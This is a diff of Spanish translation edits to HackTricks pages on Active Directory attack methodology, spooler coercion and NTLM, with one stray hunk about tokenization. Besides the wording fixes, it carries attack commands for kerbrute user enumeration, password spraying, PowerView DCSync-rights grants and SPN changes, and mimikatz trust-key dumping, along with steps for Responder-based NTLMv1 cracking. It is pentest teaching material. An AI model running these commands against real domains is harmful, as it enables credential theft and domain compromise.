`"jugando"` podría ser tokenizado como `["jugar", "ndo"]` si `"jugar"` y `"ndo"` son subpalabras frecuentes.
|
||||
`"jugando"` podría ser tokenizado como `["jugar", "ing"]` si `"jugar"` y `"ing"` son subpalabras frecuentes.
|
||||
2. **WordPiece:**
|
||||
- **Usado Por:** Modelos como BERT.
|
||||
- **Propósito:** Similar a BPE, descompone palabras en unidades de subpalabras para manejar palabras desconocidas y reducir el tamaño del vocabulario.
|
||||
@ -55,14 +55,14 @@ Mientras que el tokenizador básico funciona bien para textos simples, tiene lim
|
||||
- Equilibra entre tener un tamaño de vocabulario manejable y representar efectivamente las palabras.
|
||||
- Maneja eficientemente palabras raras y compuestas.
|
||||
- _Ejemplo:_\
|
||||
`"descontento"` podría ser tokenizado como `["des", "contento"]` o `["des", "feliz", "to"]` dependiendo del vocabulario.
|
||||
`"descontento"` podría ser tokenizado como `["des", "contento"]` o `["des", "feliz", "tud"]` dependiendo del vocabulario.
|
||||
3. **Modelo de Lenguaje Unigram:**
|
||||
- **Usado Por:** Modelos como SentencePiece.
|
||||
- **Propósito:** Utiliza un modelo probabilístico para determinar el conjunto más probable de tokens de subpalabras.
|
||||
- **Cómo Funciona:**
|
||||
- Comienza con un gran conjunto de tokens potenciales.
|
||||
- Elimina iterativamente los tokens que menos mejoran la probabilidad del modelo de los datos de entrenamiento.
|
||||
- Finaliza un vocabulario donde cada palabra es representada por las unidades de subpalabras más probables.
|
||||
- Finaliza un vocabulario donde cada palabra está representada por las unidades de subpalabras más probables.
|
||||
- **Beneficios:**
|
||||
- Flexible y puede modelar el lenguaje de manera más natural.
|
||||
- A menudo resulta en tokenizaciones más eficientes y compactas.
|
||||
|
||||
@ -22,14 +22,14 @@ Los conceptos clave dentro de **Active Directory** incluyen:
|
||||
2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros.
|
||||
3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**.
|
||||
4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión.
|
||||
5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizado.
|
||||
5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados.
|
||||
6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**.
|
||||
|
||||
Para una explicación más detallada, consulta: [**TechTerms - Definición de Active Directory**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Autenticación Kerberos**
|
||||
|
||||
Para aprender a **atacar un AD** necesitas **entender** muy bien el **proceso de autenticación Kerberos**.\
|
||||
Para aprender a **atacar un AD**, necesitas **entender** muy bien el **proceso de autenticación Kerberos**.\
|
||||
[**Lee esta página si aún no sabes cómo funciona.**](kerberos-authentication.md)
|
||||
|
||||
## Hoja de trucos
|
||||
@ -65,19 +65,19 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr
|
||||
|
||||
- **Envenenar la red**
|
||||
- Recolectar credenciales [**suplantando servicios con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Acceder al host [**abusando del ataque de retransmisión**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Acceder a un host [**abusando del ataque de retransmisión**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Recolectar credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Extraer nombres de usuario/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos de dominio y también de los disponibles públicamente.
|
||||
- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes convenciones de **nombres de usuario AD** ([**lee esto**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
|
||||
- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes convenciones de **nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123).
|
||||
- Herramientas:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Enumeración de usuarios
|
||||
|
||||
- **Enumeración anónima SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permitirá determinar que el nombre de usuario era inválido. **Nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación.
|
||||
- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. **Nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -156,9 +156,9 @@ Haber comprometido una cuenta es un **gran paso para comenzar a comprometer todo
|
||||
Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible usuario vulnerable, y respecto a [**Password Spraying**](password-spraying.md), puedes obtener una **lista de todos los nombres de usuario** y probar la contraseña de la cuenta comprometida, contraseñas vacías y nuevas contraseñas prometedoras.
|
||||
|
||||
- Podrías usar el [**CMD para realizar un reconocimiento básico**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/) que será más sigiloso
|
||||
- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/index.html), que será más sigiloso
|
||||
- También puedes [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extraer información más detallada
|
||||
- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc.
|
||||
- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, definitivamente deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc.
|
||||
- **Otras herramientas automatizadas de enumeración de AD son:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**Registros DNS del AD**](ad-dns-records.md) ya que podrían contener información interesante.
|
||||
- Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** del **SysInternal** Suite.
|
||||
@ -189,9 +189,9 @@ Una vez que hayas obtenido algunas credenciales, podrías verificar si tienes ac
|
||||
|
||||
### Escalación de privilegios local
|
||||
|
||||
Si has comprometido credenciales o una sesión como un usuario regular de dominio y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM).
|
||||
Si has comprometido credenciales o una sesión como un usuario de dominio regular y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM).
|
||||
|
||||
Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/index.html) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Tickets de sesión actuales
|
||||
|
||||
@ -211,7 +211,7 @@ Si has logrado enumerar el directorio activo, tendrás **más correos electróni
|
||||
|
||||
Ahora que tienes algunas credenciales básicas, deberías verificar si puedes **encontrar** archivos **interesantes que se compartan dentro del AD**. Podrías hacerlo manualmente, pero es una tarea muy aburrida y repetitiva (y más si encuentras cientos de documentos que necesitas revisar).
|
||||
|
||||
[**Sigue este enlace para aprender sobre herramientas que podrías usar.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
|
||||
[**Sigue este enlace para aprender sobre herramientas que podrías usar.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Robar Credenciales NTLM
|
||||
|
||||
@ -223,7 +223,7 @@ Si puedes **acceder a otras PC o recursos compartidos**, podrías **colocar arch
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
Esta vulnerabilidad permitió que cualquier usuario autenticado **comprometiera el controlador de dominio**.
|
||||
Esta vulnerabilidad permitió a cualquier usuario autenticado **comprometer el controlador de dominio**.
|
||||
|
||||
{{#ref}}
|
||||
printnightmare.md
|
||||
@ -235,7 +235,7 @@ printnightmare.md
|
||||
|
||||
### Extracción de Hash
|
||||
|
||||
Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/).\
|
||||
Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/index.html).\
|
||||
Luego, es hora de volcar todos los hashes en memoria y localmente.\
|
||||
[**Lee esta página sobre diferentes formas de obtener los hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
@ -243,9 +243,9 @@ Luego, es hora de volcar todos los hashes en memoria y localmente.\
|
||||
|
||||
**Una vez que tengas el hash de un usuario**, puedes usarlo para **suplantarlo**.\
|
||||
Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, para que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.\
|
||||
[**Lee esta página para más información.**](../ntlm/#pass-the-hash)
|
||||
[**Lee esta página para más información.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pasar la Clave
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo se **permite Kerberos** como protocolo de autenticación.
|
||||
|
||||
@ -263,7 +263,7 @@ pass-the-ticket.md
|
||||
|
||||
### Reutilización de Credenciales
|
||||
|
||||
Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con ello.
|
||||
Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con él.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
@ -295,7 +295,7 @@ unconstrained-delegation.md
|
||||
### Delegación restringida
|
||||
|
||||
Si un usuario o computadora está permitido para "Delegación Restringida", podrá **impersonar a cualquier usuario para acceder a algunos servicios en una computadora**.\
|
||||
Entonces, si **comprometes el hash** de este usuario/computadora, podrás **impersonar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios.
|
||||
Luego, si **comprometes el hash** de este usuario/computadora, podrás **impersonar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -327,8 +327,8 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Abuso de sesiones de terceros
|
||||
|
||||
Si **otros usuarios** **acceden** a la máquina **comprometida**, es posible **recolectar credenciales de la memoria** e incluso **inyectar balizas en sus procesos** para impersonarlos.\
|
||||
Normalmente, los usuarios accederán al sistema a través de RDP, así que aquí tienes cómo realizar un par de ataques sobre sesiones RDP de terceros:
|
||||
Si **otros usuarios** **acceden** a la máquina **comprometida**, es posible **recolectar credenciales de la memoria** e incluso **inyectar beacons en sus procesos** para impersonarlos.\
|
||||
Usualmente, los usuarios accederán al sistema a través de RDP, así que aquí tienes cómo realizar un par de ataques sobre sesiones RDP de terceros:
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Abuso de plantillas de certificados
|
||||
|
||||
Si se configuran **plantillas vulnerables**, es posible abusar de ellas para escalar privilegios:
|
||||
Si hay **plantillas vulnerables** configuradas, es posible abusar de ellas para escalar privilegios:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -385,7 +385,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Conceder privilegios de [**DCSync**](./#dcsync) a un usuario
|
||||
- Conceder privilegios de [**DCSync**](#dcsync) a un usuario
|
||||
|
||||
```powershell
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Ticket Plateado
|
||||
|
||||
El **ataque de Ticket Plateado** crea un **ticket de Servicio de Concesión de Tickets (TGS)** legítimo para un servicio específico utilizando el **hash de NTLM** (por ejemplo, el **hash de la cuenta de PC**). Este método se emplea para **acceder a los privilegios del servicio**.
|
||||
El **ataque de Ticket Plateado** crea un **ticket legítimo de Servicio de Concesión de Tickets (TGS)** para un servicio específico utilizando el **hash de NTLM** (por ejemplo, el **hash de la cuenta de PC**). Este método se emplea para **acceder a los privilegios del servicio**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -401,7 +401,7 @@ silver-ticket.md
|
||||
|
||||
### Ticket Dorado
|
||||
|
||||
Un **ataque de Ticket Dorado** implica que un atacante obtenga acceso al **hash de NTLM de la cuenta krbtgt** en un entorno de Active Directory (AD). Esta cuenta es especial porque se utiliza para firmar todos los **Tickets de Concesión de Tickets (TGT)**, que son esenciales para la autenticación dentro de la red AD.
|
||||
Un **ataque de Ticket Dorado** implica que un atacante obtenga acceso al **hash de NTLM de la cuenta krbtgt** en un entorno de Active Directory (AD). Esta cuenta es especial porque se utiliza para firmar todos los **Tickets de Concesión de Tickets (TGTs)**, que son esenciales para la autenticación dentro de la red AD.
|
||||
|
||||
Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (ataque de ticket plateado).
|
||||
|
||||
@ -425,7 +425,7 @@ diamond-ticket.md
|
||||
ad-certificates/account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### **Persistencia de certificados en el dominio**
|
||||
### **Persistencia de dominio de certificados**
|
||||
|
||||
**Usar certificados también es posible para persistir con altos privilegios dentro del dominio:**
|
||||
|
||||
@ -473,8 +473,8 @@ skeleton-key.md
|
||||
|
||||
### SSP personalizado
|
||||
|
||||
[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
|
||||
Puedes crear tu **propio SSP** para **capturar** en **texto claro** las **credenciales** utilizadas para acceder a la máquina.\\
|
||||
[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Puedes crear tu **propio SSP** para **capturar** en **texto claro** las **credenciales** utilizadas para acceder a la máquina.
|
||||
|
||||
{{#ref}}
|
||||
custom-ssp.md
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos especificados **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\
|
||||
Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos específicos **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\
|
||||
Ten en cuenta que si usas datos incorrectos, aparecerán registros bastante feos.
|
||||
|
||||
{{#ref}}
|
||||
@ -510,17 +510,17 @@ En un escenario típico, si un usuario pretende acceder a un servicio en un **do
|
||||
|
||||
**Pasos**:
|
||||
|
||||
1. Una **computadora cliente** en **Dominio 1** inicia el proceso utilizando su **hash de NTLM** para solicitar un **Ticket de Concesión de Tickets (TGT)** de su **Controlador de Dominio (DC1)**.
|
||||
2. DC1 emite un nuevo TGT si el cliente es autenticado con éxito.
|
||||
1. Una **computadora cliente** en **Dominio 1** inicia el proceso utilizando su **hash de NTLM** para solicitar un **Ticket Granting Ticket (TGT)** de su **Controlador de Dominio (DC1)**.
|
||||
2. DC1 emite un nuevo TGT si el cliente se autentica con éxito.
|
||||
3. El cliente luego solicita un **TGT inter-realm** de DC1, que es necesario para acceder a recursos en **Dominio 2**.
|
||||
4. El TGT inter-realm está cifrado con una **clave de confianza** compartida entre DC1 y DC2 como parte de la confianza de dominio bidireccional.
|
||||
5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2)** de Dominio 2.
|
||||
6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket de Concesión de Servicio (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder.
|
||||
5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2) de Dominio 2**.
|
||||
6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder.
|
||||
7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Dominio 2.
|
||||
|
||||
### Diferentes confianzas
|
||||
|
||||
Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En las opciones bidireccionales, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional**, uno de los dominios será el **confiado** y el otro el **confiador**. En este último caso, **solo podrás acceder a recursos dentro del dominio confiador desde el confiado**.
|
||||
Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En la opción bidireccional, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional**, uno de los dominios será el **confiado** y el otro el **confiador**. En este último caso, **solo podrás acceder a recursos dentro del dominio confiador desde el confiado**.
|
||||
|
||||
Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el confiado. Además, en **Dominio A**, esto sería una **confianza saliente**; y en **Dominio B**, esto sería una **confianza entrante**.
|
||||
|
||||
@ -565,7 +565,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> Hay **2 claves de confianza**, una para _Child --> Parent_ y otra para _Parent_ --> _Child_.\
|
||||
> Puedes usar la que se utiliza en el dominio actual con:
|
||||
> Puedes usar la que se utiliza por el dominio actual con:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md
|
||||
Otra forma de comprometer el dominio confiado es encontrar un [**enlace SQL confiado**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza del dominio (lo cual no es muy común).
|
||||
|
||||
Otra forma de comprometer el dominio confiado es esperar en una máquina donde un **usuario del dominio confiado pueda acceder** para iniciar sesión a través de **RDP**. Luego, el atacante podría inyectar código en el proceso de sesión RDP y **acceder al dominio de origen de la víctima** desde allí.\
|
||||
Además, si la **víctima montó su disco duro**, desde el proceso de **sesión RDP** el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.**
|
||||
Además, si la **víctima montó su disco duro**, desde el proceso de sesión **RDP** el atacante podría almacenar **puertas traseras** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -670,11 +670,13 @@ rdp-sessions-abuse.md
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
{{#endref}}
|
||||
|
||||
## Algunas Defensas Generales
|
||||
|
||||
[**Aprende más sobre cómo proteger credenciales aquí.**](../stealing-credentials/credentials-protections.md)\\
|
||||
[**Aprende más sobre cómo proteger credenciales aquí.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Medidas Defensivas para la Protección de Credenciales**
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati
|
||||
```
|
||||
### Encontrar servicios de Spooler escuchando
|
||||
|
||||
Usando un @mysmartlogin (Vincent Le Toux) ligeramente modificado [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica si el Servicio de Spooler está escuchando:
|
||||
Usando un @mysmartlogin ligeramente modificado (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica si el Servicio de Spooler está escuchando:
|
||||
```bash
|
||||
. .\Get-SpoolStatus.ps1
|
||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||
@ -45,7 +45,9 @@ Si un atacante ya ha comprometido una computadora con [Delegación No Restringid
|
||||
|
||||
## Autenticación Forzada RCP
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
{{#ref}}
|
||||
https://github.com/p0dalirius/Coercer
|
||||
{{#endref}}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
@ -102,7 +104,7 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági
|
||||
```
|
||||
## Cracking NTLMv1
|
||||
|
||||
Si puedes capturar [desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
|
||||
&#xNAN;_Recuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder a "1122334455667788"_
|
||||
Si puedes capturar [desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/index.html#ntlmv1-attack).\
|
||||
_Recuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder a "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -48,9 +48,9 @@ Valores posibles:
|
||||
|
||||
1. El **usuario** introduce sus **credenciales**
|
||||
2. La máquina cliente **envía una solicitud de autenticación** enviando el **nombre de dominio** y el **nombre de usuario**
|
||||
3. El **servidor** envía el **reto**
|
||||
4. El **cliente cifra** el **reto** usando el hash de la contraseña como clave y lo envía como respuesta
|
||||
5. El **servidor envía** al **Controlador de Dominio** el **nombre de dominio, el nombre de usuario, el reto y la respuesta**. Si **no hay** un Active Directory configurado o el nombre de dominio es el nombre del servidor, las credenciales se **verifican localmente**.
|
||||
3. El **servidor** envía el **desafío**
|
||||
4. El **cliente cifra** el **desafío** usando el hash de la contraseña como clave y lo envía como respuesta
|
||||
5. El **servidor envía** al **Controlador de Dominio** el **nombre de dominio, el nombre de usuario, el desafío y la respuesta**. Si **no hay** un Active Directory configurado o el nombre de dominio es el nombre del servidor, las credenciales se **verifican localmente**.
|
||||
6. El **controlador de dominio verifica si todo es correcto** y envía la información al servidor
|
||||
|
||||
El **servidor** y el **Controlador de Dominio** pueden crear un **Canal Seguro** a través del servidor **Netlogon** ya que el Controlador de Dominio conoce la contraseña del servidor (está dentro de la base de datos **NTDS.DIT**).
|
||||
@ -59,11 +59,11 @@ El **servidor** y el **Controlador de Dominio** pueden crear un **Canal Seguro**
|
||||
|
||||
La autenticación es como la mencionada **anteriormente, pero** el **servidor** conoce el **hash del usuario** que intenta autenticarse dentro del archivo **SAM**. Así que, en lugar de preguntar al Controlador de Dominio, el **servidor verificará por sí mismo** si el usuario puede autenticarse.
|
||||
|
||||
### Reto NTLMv1
|
||||
### Desafío NTLMv1
|
||||
|
||||
La **longitud del reto es de 8 bytes** y la **respuesta tiene 24 bytes** de longitud.
|
||||
La **longitud del desafío es de 8 bytes** y la **respuesta tiene 24 bytes** de longitud.
|
||||
|
||||
El **hash NT (16bytes)** se divide en **3 partes de 7bytes cada una** (7B + 7B + (2B+0x00\*5)): la **última parte se llena con ceros**. Luego, el **reto** se **cifra por separado** con cada parte y los **bytes cifrados resultantes se unen**. Total: 8B + 8B + 8B = 24Bytes.
|
||||
El **hash NT (16bytes)** se divide en **3 partes de 7bytes cada una** (7B + 7B + (2B+0x00\*5)): la **última parte se llena con ceros**. Luego, el **desafío** se **cifra por separado** con cada parte y los **bytes cifrados resultantes se unen**. Total: 8B + 8B + 8B = 24Bytes.
|
||||
|
||||
**Problemas**:
|
||||
|
||||
@ -71,17 +71,17 @@ El **hash NT (16bytes)** se divide en **3 partes de 7bytes cada una** (7B + 7B +
|
||||
- Las 3 partes pueden ser **atacadas por separado** para encontrar el hash NT
|
||||
- **DES es crackeable**
|
||||
- La 3ª clave está compuesta siempre por **5 ceros**.
|
||||
- Dado el **mismo reto**, la **respuesta** será **la misma**. Así que, puedes dar como **reto** a la víctima la cadena "**1122334455667788**" y atacar la respuesta usando **tablas arcoíris precomputadas**.
|
||||
- Dado el **mismo desafío**, la **respuesta** será la **misma**. Así que, puedes dar como **desafío** a la víctima la cadena "**1122334455667788**" y atacar la respuesta usando **tablas arcoíris precomputadas**.
|
||||
|
||||
### Ataque NTLMv1
|
||||
|
||||
Hoy en día es cada vez menos común encontrar entornos con Delegación No Restringida configurada, pero esto no significa que no puedas **abusar de un servicio de Print Spooler** configurado.
|
||||
|
||||
Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **pedir a la impresora que se autentique** contra algún **host bajo tu control**. Luego, usando `metasploit auxiliary/server/capture/smb` o `responder` puedes **establecer el reto de autenticación a 1122334455667788**, capturar el intento de autenticación, y si se realizó usando **NTLMv1** podrás **crackearlo**.\
|
||||
